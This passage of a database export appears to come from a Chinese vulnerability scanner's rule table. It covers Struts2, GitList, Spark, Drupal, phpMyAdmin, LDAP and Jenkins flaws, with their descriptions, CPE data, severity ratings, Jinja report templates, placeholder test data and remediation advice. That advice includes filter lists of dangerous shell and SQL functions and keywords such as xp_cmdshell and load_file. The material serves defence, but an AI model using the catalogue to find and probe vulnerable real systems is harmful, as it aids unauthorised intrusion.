} | web | null | Struts2是Apache软件基金会负责维护的一个基于MVC设计模式的Web应用框架开源项目。 | CVE-2018-11776 | CVE-2018-11776: Apache Struts2 2.0.4 ～2.3.34, 2.5.0 ～ 2.5.16 远程命令执行漏洞（S2-057） | http | 暂无 | f | 21/8/2018 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:gitlist:gitlist:0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:gitlist:gitlist:0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:gitlist:gitlist:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "0.4.0"}, {"cpe23Uri": "cpe:2.3:a:gitlist:gitlist:0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-67173 | CNNVD-201407-339 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-67173,CVE-2014-4511,CNNVD-201407-339} | high | 6.3 | null | 攻击者可在应用处通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | GitList是一款基于PHP的开源Git仓库查看器，它能够实现匿名在线浏览版本控制系统源码仓库中的内容，并支持查看不同版本中的文件，提交历史和差异。 Gitlist 0.4.0及之前的版本中存在安全漏洞。远程攻击者可通过向blame、file、stats页面发送请求URI的文件名参数中的shell元字符利用该漏洞执行任意命令。 | CVE-2014-4511 | CVE-2014-4511: GitList 远程代码执行漏洞 | http | 暂无 | f | 21/7/2014 16:00:00 | 1. 在代码级调用 shell 时，对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。
2. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
3. PHP 中可使用 escapeshellarg、escapeshellcmd 来转义对应敏感字符。
4. 对于相关敏感的命令执行函数，做好参数校验和合法性验证，或者直接在配置文件中禁用该函数，不要让用户可以直接控制 eval、system、exec、shell_exec 等函数的参数 。
- JAVA
1. 查看是否有此系统命令的编程替代实现，尽量减少软件中对系统命令的调用。
2. 关闭前端或中间件自带的系统命令调试台，禁止前端使用者可以修改系统命令参数。
3. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
4. 调用 `/command/exec/string`,`/command/exec/array`,`/command/processbuilder` 参数时对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。 |
|
[] | null | f | CT-157960 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157960} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Spark 未授权访问指的是由于 Spark 权限设置不当，可能导致攻击者无需认证即可通过该 REST API 来操作 Spark 创建任务、删除任务、查看任务结果等，从而最终获得执行任意指令的能力。该漏洞会导致服务器的数据被泄漏、篡改和删除、改变其他用户的权限，甚至通过提权来控制服务器，危害十分严重。 | null | 通过浏览器访问如下地址：
```
{{ detail.addr }}
```
查看是否可未授权访问，如果可以访问，则说明存在该漏洞。 | Spark WebUI 未授权访问漏洞 | http | 暂无 | f | 11/3/2021 08:09:10 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "7.57"}, {"cpe23Uri": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "8.3.9", "versionStartIncluding": "8.0.0"}, {"cpe23Uri": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "8.4.6", "versionStartIncluding": "8.4.0"}, {"cpe23Uri": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "8.5.1", "versionStartIncluding": "8.5.0"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-133392 | CNNVD-201803-1136 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-133392,CVE-2018-7600,CNVD-2018-06660,CNNVD-201803-1136} | critical | 9.8 | CNVD-2018-06660 | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Drupal是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 | CVE-2018-7600 | CVE-2018-7600: Drupal Drupalgeddon2 远程代码执行 | http | 暂无 | f | 28/3/2018 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "7.32", "versionStartIncluding": "7.0"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-550 | CNNVD-201410-462 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 70595 | t | {CT-550,CVE-2014-3704,CNNVD-201410-462,70595} | high | 6.3 | null | 攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。不仅可以操作现有查询，还可以合并任意数据、使用子选择或追加附加查询。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成。 | CVE-2014-3704 | CVE-2014-3704: Drupal up to 7.31 Database Abstraction API expandArguments SQL注入 | http | 暂无 | f | 15/10/2014 16:00:00 | ```
1. 使用预编译语句，使用 PDO 需要注意不要将变量直接拼接到 PDO 语句中。所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口，使用此接口可以非常有效的防止 SQL 注入攻击。
2. 程序代码里的所有查询语句，使用标准化的数据库查询语句 API 接口，设定语句的参数进行过滤一些非法的字符，防止用户输入恶意的字符传入到数据库中执行 sql 语句。
3. 对用户提交的的参数安全过滤，像一些特殊的字符 (，()*&……%# 等等) 进行字符转义操作, 以及编码的安全转换。
4. 网站的报错信息尽量不要返回给客户端，比如一些类型错误、字段不匹配、字符错误，数据库的报错信息，尽可能的防止泄露给客户端，防止攻击者利用这些错误信息进行一些判断。
5. 确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为 int 型。
6. 数据长度应该严格规定，能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
7. 网站每个数据层的编码统一，建议全部使用 UTF-8 编码，上下层编码不一致有可能导致一些过滤模型被绕过。
8. 严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。
9. 过滤危险字符，例如：采用正则表达式匹配 union、sleep、and、select、load_file 等关键字，如果匹配到则终止运行。
```
- 代码层面
- 输入验证
1. 类型判断：字符型、整型；
2. 长度判断：设置最大长度值；
3. 业务参数合法性判断：比如支付金额不可能为负值这种；
4. 特殊字符过滤：比如'，"，\，<，>，&，*，;，#，select，from，where，sub，if，union，sleep，and，or 等；
5. 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头；
- 预编译处理 & 参数化查询
1. 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。
- 数据库层面
- 最小权限原则
- 遵循最小化权限原则，严格限制网站用户的数据库的操作权限，禁止将任何高权限帐户（sa，dba、root 等）用于应用程序数据库访问，从而最大限度的减少注入攻击对数据库的危害。
- 禁用敏感函数
- 比如 MSSQL 中，拒绝用户访问敏感的系统存储过程，如 xp_dirtree，xp_cmdshell 等。
- 权限控制
- 限制用户所能够访问的数据库表。
- 编码统一
- 网站与数据层的编码统一，建议全部使用 UTF-8 编码，避免因上下层编码不一致导致一些过滤模型被绕过，比如宽字节注入等。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "4.8.2", "versionStartIncluding": "4.8.0"}]}] | null | f | CT-43711 | CNNVD-201806-1096 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-43711,CVE-2018-12613,CNVD-2018-23761,CNNVD-201806-1096} | high | 8.8 | CNVD-2018-23761 | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | checkPageValidity函数对外部输入过滤不严，可导致本地包含任意文件。进一步地攻击者可通过注入代码到特定文件进行包含造成远程代码执行。 | CVE-2018-12613 | CVE-2018-12613: phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导致GETSHELL | http | 暂无 | f | 21/6/2018 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[] | null | f | CT-157967 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157967} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | LDAP 支持三种绑定操作：匿名、非认证、认证。匿名操作方式不需要提供用户名和口令即可获取匿名访问权限，非认证方式只需要提供用户名不需要口令，认证方式用户名和口令都需要。LDAP 未授权访问指的是 LDAP 允许用户匿名、非认证登录或者认证的口令太简单造成非授权的访问。攻击者可以利用该漏洞连接到 LDAP 服务进行非授权访问和操作，获取服务器的敏感信息。 | null | 通过 LDAP 客户端工具进行连接，输入扫描获得的主机 `{{ detail.host }}` 及端口 `{{ detail.port }}` 等信息，如果连接成功，则说明存在该漏洞。 | LDAP 未授权访问漏洞 | ldap | 暂无 | f | 11/3/2021 08:09:09 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "1.649"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:redhat:openshift:3.1:*:*:*:enterprise:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "1.642.1"}]}] | null | f | CT-48185 | CNNVD-201602-484 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 83720 | t | {CT-48185,CVE-2016-0792,CNVD-2016-01412,CNNVD-201602-484,83720} | high | 8.8 | CNVD-2016-01412 | 攻击者可在应用处通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | CloudBees Jenkins是美国CloudBees公司的一款基于Java开发的开源的、可持续集成的自动化服务器，它主要用于监控持续的软件版本发布/测试项目和一些定时执行的任务。LTS（Long-Term Support）是CloudBees Jenkins的一个长期支持版本。 CloudBees Jenkins CI 1.650之前版本和LTS 1.642.2之前版本的API端点存在安全。远程攻击者可借助XML文件中的序列化数据利用该漏洞执行任意代码。 | CVE-2016-0792 | CVE-2016-0792: CloudBees Jenkins CI和LTS 任意代码执行漏洞 | http | 暂无 | f | 7/4/2016 16:00:00 | 1. 在代码级调用 shell 时，对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。
2. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
3. PHP 中可使用 escapeshellarg、escapeshellcmd 来转义对应敏感字符。
4. 对于相关敏感的命令执行函数，做好参数校验和合法性验证，或者直接在配置文件中禁用该函数，不要让用户可以直接控制 eval、system、exec、shell_exec 等函数的参数 。
- JAVA
1. 查看是否有此系统命令的编程替代实现，尽量减少软件中对系统命令的调用。
2. 关闭前端或中间件自带的系统命令调试台，禁止前端使用者可以修改系统命令参数。
3. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
4. 调用 `/command/exec/string`,`/command/exec/array`,`/command/processbuilder` 参数时对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。 |
|
[] | null | f | CT-381886 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-381886,CNVD-2018-24942} | critical | 0 | CNVD-2018-24942 | 攻击者可在应用处通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
